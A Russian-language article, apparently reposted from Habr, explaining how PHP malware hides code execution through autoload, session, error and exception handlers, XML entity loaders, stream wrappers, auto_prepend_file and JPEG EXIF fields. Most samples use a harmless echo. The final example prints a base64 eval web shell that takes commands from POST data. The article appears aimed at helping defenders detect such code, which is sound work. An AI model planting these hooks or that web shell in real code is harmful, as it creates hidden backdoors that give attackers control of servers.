В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'
Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.
Вариант №1: использование механизма autoload.
Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.
<?php function __autoload($classname) { echo 'Test'; } //... new myEvilClass();
Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше
<?php // php >= 5.3.0 class EvilClass { static public function evil($name) { echo 'Test'; } } // ... spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); // ... new Malware;
Вариант №3: использование обработчика сессии.
В момент создания сессии будет вызвана зарегистрированная функция.
<?php function just_do_it() { echo 'Test'; } // ... $f = function() {}; session_set_save_handler("just_do_it", $f, $f, $f, $f, $f); @session_start();
Вариант №4: использование итератора.
Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.
<?php $f = create_function('', "echo 'Test';"); // ... $it = new ArrayIterator(array('')); iterator_apply($it, $f, array($it));
Вариант №5: вызов через обработчик исключений.
В этом врианте код для вызова может быть передан в качестве текста исключения.
<?php function exception_handler($e) { preg_replace_callback('||', create_function('', $e->getMessage()), ''); } // ... set_exception_handler('exception_handler'); // ... throw new Exception('echo "Test";');
Вариант №6: использование обработчика ошибок.
Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.
<?php function error_handler($errno, $errstr, $errfile, $errline) { array_map(create_function('', $errstr), array('')); } // ... set_error_handler('error_handler'); $badcode = 'echo "Test";'; trigger_error($badcode, E_USER_ERROR); // или user_error();
Вариант №7: использование собственного загрузчика сущностей.
Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.
<?php // для php >= 5.4 $xml =<<<XML <!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/"> <zlodei>bar</zlodei> XML; $dtd =<<<DTD <!ELEMENT zlodei (#PCDATA)> DTD; libxml_set_external_entity_loader( function ($public, $system, $context) use($dtd) { array_reduce(array(''), create_function('', $public)); } ); // ... $dd = new DOMDocument; $r = $dd->loadXML($xml); @$dd->validate();
Вариант №8: создание собственного стрима для неявного вызова кода
Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().
<?php class MalwareStream { function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $f = create_function('', $url["host"]); $f(); return true; } } // ... stream_wrapper_register("malw", "MalwareStream"); // ... $fp = fopen('malw://echo "Test";', '');
В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.
Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?
Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,
php_value auto_prepend_file /images/stories/mycode.jpg
будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.
Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.
В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):
<?php $a = `ls -la`; echo $a;
Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.
И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.
<?php $exif = exif_read_data('/home/website/images/stories/food/evil.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
А jpg файл выглядит примерно так:
yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...
Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(…)) и выполняется через preg_replace() из-за модификатора «e».
Благодарю за внимание.
ссылка на оригинал статьи http://habrahabr.ru/post/215817/
Добавить комментарий